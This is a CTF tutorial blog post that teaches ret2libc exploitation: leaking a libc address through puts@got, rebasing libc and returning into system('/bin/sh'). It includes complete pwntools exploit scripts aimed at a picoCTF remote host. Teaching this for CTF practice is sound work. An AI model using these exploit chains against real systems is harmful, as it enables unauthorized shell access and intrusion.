June 18, 2026

ret2libc for CTF: Leaking libc and Returning to system()

NX killed your shellcode and there is no win function. Learn ret2libc: leak a libc address with puts, rebase libc, and return to system('/bin/sh') in pwntools.

The whole exploit is three gadgets

You can already do ret2win: overflow the buffer, overwrite the saved return address with the address of a win function, get the flag. Now you open a new binary, run checksec, and two things have changed. The stack is NX (No-eXecute), so the shellcode trick is dead. And there is no win function to jump to. The author left you an overflow and nothing obvious to point it at.

ret2libc is the answer, and at its core it is just three things stacked on the stack after your overflow padding: a gadget to load an argument, the address of system, and the address of the string "/bin/sh".

payload = b'A' * OFFSET # fill the buffer up to saved rip
payload += p64(pop_rdi) # gadget: pop rdi ; ret
payload += p64(binsh_addr) # rdi = pointer to '/bin/sh'
payload += p64(system_addr) # return into system('/bin/sh')

That is the destination. The catch is that with ASLR (Address Space Layout Randomization) on, you do not know system_addr or binsh_addr ahead of time. They live in libc, and libc gets loaded at a random base on every run. So the real exploit is two stages: first leak one libc address to learn where libc landed this run, then return with the chain above using the now-known addresses. Leak, then return. The rest of this post is those two stages in detail.

Note: This is the foundational pillar. Once you own ret2libc, the ROP Beyond ret2libc post picks up where the leak ends and covers what to do when there is no leak to take, no system to call, or no libc at all. Read this one first; that one assumes it.

Why does ret2win stop working?

Two independent mitigations break the moves you already know, and you have to defeat both at once.

NX kills shellcode. On an executable-stack binary you could write machine code into your input buffer and jump to it. NX (also called DEP, Data Execution Prevention, and shown as NX enabled by checksec) marks the stack non-executable. The CPU faults the instant rip lands on stack memory. Your shellcode is sitting right there in the buffer and you cannot run a byte of it.

No win function leaves nothing to point at. A ret2win challenge hands you a convenient function that reads the flag or pops a shell, sitting at a fixed address in the binary. Strip that out and your overflow has no friendly target inside the executable.

NX did not stop you from controlling the instruction pointer. It only stopped you from executing your own bytes. So borrow someone else's.

That borrowed code is libc. The C standard library is mapped into essentially every dynamically linked process, and it already contains system, which spawns a shell when handed the string "/bin/sh". You still control rip through the overflow. Instead of pointing it at shellcode (blocked by NX) or a win function (does not exist), you point it at code that is already loaded and already executable: system in libc. That is the "return to libc" in ret2libc. This is the simplest case of Return-Oriented Programming (ROP), where you reuse code that the process already mapped instead of injecting your own.

Key insight: Three mitigations, three different defeats. NX is defeated by reusing existing executable code. The missing win function is defeated by borrowing system from libc. ASLR, the third one, is defeated by the leak. Keep them separate in your head and the exploit stops feeling like magic.

What is the plan: leak then return?

The obstacle to the three-gadget chain is ASLR. With ASLR enabled, libc is mapped at a fresh random base address every time the program runs. system is always at a fixed offset inside libc, but the base it is added to is unknown until the process is already running. You cannot hardcode system_addr.

So you split the exploit into two overflows, usually two trips through the same vulnerable function:

Stage 1: leak

Use the overflow to call puts on a GOT entry. That prints the real, live libc address of some function back to you. Then return to main so the program loops and you get a second overflow.

Stage 2: return

Subtract the known offset to compute the libc base, add the offsets of system and "/bin/sh", and send the three-gadget chain from the answer section. Shell.

The key realization is that one leaked address is enough. libc is a single contiguous mapping, so every function and string inside it sits at a fixed distance from every other. Learn where one thing is and you know where everything is. The leak converts "libc is somewhere random" into "libc starts exactly here," and from there the chain is deterministic.

How do you leak a libc address?

The canonical leak is puts(puts@got). It sounds circular, so unpack it. Every dynamically linked binary has a Global Offset Table (GOT): a table of pointers that, after the dynamic linker resolves them, hold the real runtime addresses of libc functions. The GOT entry for puts contains the actual address of puts inside libc this run. If you call puts and hand it the address of its own GOT entry as the argument, it prints that pointer back to you. You just leaked a live libc address.

To call puts with an argument in 64-bit, you need its first argument in the rdi register (the System V AMD64 calling convention, documented in the System V x86-64 ABI). So the stage-1 chain is: a pop rdi ; ret gadget to load the GOT address, the PLT stub for puts to do the printing, and a return to main so you can overflow again.

from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
pop_rdi = 0x4011d3 # ROPgadget --binary ./vuln | grep 'pop rdi'
puts_plt = elf.plt['puts'] # call puts via its PLT stub
puts_got = elf.got['puts'] # the leak target: puts's GOT entry
main = elf.symbols['main'] # return here to loop for stage 2
stage1 = b'A' * OFFSET
stage1 += p64(pop_rdi) + p64(puts_got) # rdi = &puts@got
stage1 += p64(puts_plt) # puts(puts@got) -> prints libc addr
stage1 += p64(main) # come back for round two

Send that, then read the line puts printed. It is a raw little-endian address, usually six bytes followed by a newline, so pad it to eight bytes before unpacking:

io = elf.process()
io.sendlineafter(b'> ', stage1) # match your binary's prompt
leak = io.recvline().strip()
puts_libc = u64(leak.ljust(8, b'\x00'))
log.info('puts@libc = %#x', puts_libc)
Tip: puts stops at the first null byte, which is exactly why leaking through it works: a libc pointer has no interior nulls in its low six bytes. If the function you control is printf instead, the same idea applies, and if the leak is a format-string bug rather than a call, see the Format String guide for how to read an address off the stack directly.

How do you turn the leak into system and /bin/sh?

You leaked the runtime address of puts. The offset of puts inside its libc is a fixed constant for that exact libc build. Subtract one from the other and you have the base address libc was loaded at this run:

libc = ELF('./libc.so.6', checksec=False) # the exact libc the target uses
libc.address = puts_libc - libc.symbols['puts'] # rebase the whole library
log.info('libc base = %#x', libc.address)
# now every symbol and string is correct automatically:
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))

Setting libc.address in pwntools rebases the entire ELF object, so libc.symbols['system'] and the libc.search for "/bin/sh" return live addresses with no manual arithmetic. The string "/bin/sh" is genuinely sitting inside libc as ordinary data, so you do not have to write it anywhere.

The one hard requirement: you must use the same libc the remote target runs. The offset of system differs between glibc builds, so a base computed against the wrong libc rebases everything wrong and the chain crashes. CTFs that need a ret2libc usually ship the exact libc.so.6 in the challenge handout. If they do not, you identify it from the leak.

Note: To identify an unknown libc from a leak, feed the leaked symbol and the last three hex digits (the part ASLR leaves unchanged because pages align to 0x1000) into a libc database lookup or the libc-database tooling. It returns the matching build, from which you read the system and str_bin_sh offsets directly. pwntools also exposes this through pwn.libcdb.

How do you return into system('/bin/sh')?

Stage 1 returned to main, so the vulnerable input runs again and you get a fresh overflow. Now you send the three-gadget chain from the top of this post, except the addresses are real this time because libc is rebased:

ret = pop_rdi + 1 # a bare 'ret' is the byte right after 'pop rdi ; ret'
stage2 = b'A' * OFFSET
stage2 += p64(ret) # alignment padding (explained below)
stage2 += p64(pop_rdi) # pop rdi ; ret
stage2 += p64(binsh_addr) # rdi = '/bin/sh'
stage2 += p64(system_addr) # system('/bin/sh')

The shape mirrors a ret2win exactly: padding to the saved return address, then a sequence of addresses the CPU walks through. The only differences are that the target is in libc instead of the binary, and you needed a leak to know where it is. The pop rdi ; ret gadget loads "/bin/sh" into the argument register, then ret transfers control into system, which sees its argument already in place and launches a shell.

Tip: A pop rdi ; ret gadget almost always exists in the binary itself because the compiler emits it to set up calls. Find it with ROPgadget --binary ./vuln | grep 'pop rdi' or let pwntools find it with rop.find_gadget(['pop rdi', 'ret']).

Why does my correct chain crash inside system?

This is the single most common ret2libc failure, and it looks like your exploit is broken when it is actually one byte from working. The chain is right, the addresses are right, and it still segfaults the moment it enters system.

The cause is stack alignment. The System V AMD64 ABI requires rsp to be 16-byte aligned at the point of a call. Modern glibc compiles system (through its inner do_system) with SSE instructions like movaps, which fault if the stack is not 16-byte aligned. Each address you stack pushes rsp by 8, so depending on how many gadgets precede system you can land on an 8-aligned-but-not-16-aligned stack and trigger the fault.

If a ret2libc chain dies inside system with the registers looking perfect, it is the movaps alignment trap nine times out of ten. Add one extra ret.

The fix is trivial: insert a single extra ret gadget before the chain (or before system). A lone ret pops 8 bytes and nudges rsp back into 16-byte alignment, costing nothing else. That is the p64(ret) line in the stage-2 payload above. If your chain already happens to be aligned, the extra ret is harmless, so when in doubt, add it.

Warning: If you let pwntools build the chain with the ROP object, it inserts alignment ret gadgets for you. The trap mainly bites people who hand-roll the payload with raw p64 calls, which is exactly how most people write their first ret2libc.

What does the whole thing look like in pwntools?

Here is a complete, runnable two-stage exploit. Adjust OFFSET, the gadget address, the prompt strings, and the remote host to match your target.

#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
OFFSET = 72 # bytes from buffer start to saved rip
pop_rdi = 0x4011d3 # ROPgadget --binary ./vuln | grep 'pop rdi'
ret = pop_rdi + 1 # the bare 'ret' that follows it
def conn():
if args.REMOTE:
return remote('saturn.picoctf.net', 50000)
return elf.process()
io = conn()
# ---- Stage 1: leak puts@libc, then return to main ----
stage1 = b'A' * OFFSET
stage1 += p64(pop_rdi) + p64(elf.got['puts'])
stage1 += p64(elf.plt['puts'])
stage1 += p64(elf.symbols['main'])
io.sendlineafter(b'> ', stage1) # match your binary's prompt
leak = io.recvline().strip()
puts_libc = u64(leak.ljust(8, b'\x00'))
log.success('puts@libc = %#x', puts_libc)
# ---- Rebase libc from the single leak ----
libc.address = puts_libc - libc.symbols['puts']
log.success('libc base = %#x', libc.address)
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# ---- Stage 2: return into system('/bin/sh') ----
stage2 = b'A' * OFFSET
stage2 += p64(ret) # movaps stack-alignment fix
stage2 += p64(pop_rdi) + p64(binsh_addr)
stage2 += p64(system_addr)
io.sendlineafter(b'> ', stage2)
io.interactive() # enjoy your shell; cat flag.txt

The same logic compresses considerably if you lean on the pwntools ROP helper, which builds both stages and handles alignment for you:

io = elf.process()
rop = ROP(elf)
rop.puts(elf.got['puts']) # stage 1: leak
rop.main() # loop back
io.sendlineafter(b'> ', b'A'*OFFSET + rop.chain())
libc.address = u64(io.recvline().strip().ljust(8, b'\x00')) - libc.sym['puts']
rop2 = ROP(libc) # stage 2: rebased chain
rop2.system(next(libc.search(b'/bin/sh\x00')))
io.sendlineafter(b'> ', b'A'*OFFSET + rop2.chain())
io.interactive()
Note: See the pwntools ROP documentation for the full ROP API. For a guided tour of pwntools from cyclic to ROP objects, read the pwntools for CTF guide, and for the overflow mechanics underneath all of this, the Buffer Overflow guide.

How does one leak defeat ASLR?

ASLR randomizes the base address of each memory region (the stack, the heap, the libc mapping, and the binary itself if it is a PIE). It does not randomize the internal layout of a region. Inside libc, system is always at the same distance from puts, which is always at the same distance from the "/bin/sh" string. Randomizing the base shifts the whole block as one rigid unit.

ASLR randomizes where libc starts, not how libc is laid out. Leak one address and the entire library snaps into focus.

That is why a single leak is total. The moment you know the runtime address of one libc symbol, you subtract its known offset to recover the base, and the base plus any other offset gives you that symbol's real address. ASLR's entire security contribution to this binary evaporates with one printed pointer.

The remaining wrinkle is PIE (Position-Independent Executable), which applies the same randomization to the binary itself. If the binary is PIE, even your pop rdi gadget address is unknown until you leak the binary base too. That is a separate leak of the same shape, and it is covered in depth in the ASLR and PIE Bypass post. For a non-PIE binary, gadget addresses in the executable are fixed, so the libc leak is the only one you need.

Which picoCTF challenges drill this?

ret2libc and its prerequisite leaks show up across the harder pwn challenges. These are the ones worth doing in order:

  • picoCTF 2024 format string 3 is the cleanest practice for the leak half of the problem. You read a libc address off the stack with a format string, which is the alternative to puts(puts@got) for stage 1.
  • picoCTF 2025 PIE TIME 2 adds the PIE wrinkle. You leak a binary address first, then apply the exact same rebase arithmetic this post uses for libc.
  • picoCTF 2022 ropfu has no win function and forces you to build a ROP chain by hand, the same payload-construction muscle stage 2 needs.
  • picoCTF 2025 handoff pushes you past plain ret2libc into a stack pivot, a good next step once the two-stage pattern here feels automatic.

When a binary refuses ret2libc entirely (Full RELRO, no system, a static build, or no leak you can reach), that is the cue to climb into the gadget ladder: ret2plt, ret2syscall, ret2dlresolve, ret2csu, and SROP.

Quick reference

The ret2libc checklist

  1. checksec ./vuln. Confirm NX enabled, no canary, and note PIE on or off.
  2. Find the overflow offset to saved rip with cyclic / cyclic_find.
  3. Find a pop rdi ; ret gadget: ROPgadget --binary ./vuln | grep 'pop rdi'.
  4. Stage 1: pop_rdi, puts@got, puts@plt, main. Read the leaked address.
  5. Rebase: libc.address = leak - libc.sym['puts'].
  6. Stage 2: ret (alignment), pop_rdi, binsh, system.
  7. Crash inside system? Add or remove one ret for movaps alignment.

pwntools one-liners

# leak chain
rop = ROP(elf); rop.puts(elf.got['puts']); rop.main()
# rebase from the leak
libc.address = leak - libc.sym['puts']
# rebased system('/bin/sh'), alignment handled for you
rop2 = ROP(libc); rop2.system(next(libc.search(b'/bin/sh\x00')))
# manual gadgets if you prefer raw p64
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

ret2libc is one idea wearing two stages: leak a single libc pointer to defeat ASLR, then return through pop rdi ; ret into system("/bin/sh") and remember the extra ret.